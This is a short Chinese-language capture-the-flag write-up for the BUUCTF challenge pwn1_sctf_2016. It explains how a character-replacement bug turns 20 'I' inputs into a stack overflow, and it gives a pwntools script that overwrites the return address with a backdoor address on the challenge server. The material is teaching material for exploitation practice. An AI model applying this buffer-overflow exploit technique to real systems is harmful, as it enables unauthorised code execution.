原理

img

(注: push ebp,esp 应该改成 mov ebp,esp)

例题

buuctf的pwn1_sctf_2016

image-20200904094333708

NX保护开启,栈中数据没有执行权限。

ida打开,主程序如下:

image-20200904094415676

可以看到原函数没有溢出点,输入进行了限制。比如fgets(&s, 32, edata);s的长度为0x3c,但限制32位输入。

但是26行位置进行了替换,当输入”I”的时候会被替换为you, 所以就可以用 20 个 ”I“ (小于 32) 得到 60 (0x3c)个字符造成溢出,再随便填一个返回地址就可以完成溢出。

image-20200904095359380

后门地址如上,因为没有经过地址随机化措施,所以地址为0x8048f0d

脚本如下:

1
2
3
4
5
6
from pwn import *
sh = remote("node3.buuoj.cn",27289)
addr = 0x08048f0d
payload = 'I'* 20 +'A'*4 +p32(addr)
sh.sendline(payload)
sh.interactive()

(payload组成为20个‘I’覆盖s,4个‘A’覆盖上一函数的ebp,在加上后门地址覆盖返回地址)

image-20200904095720375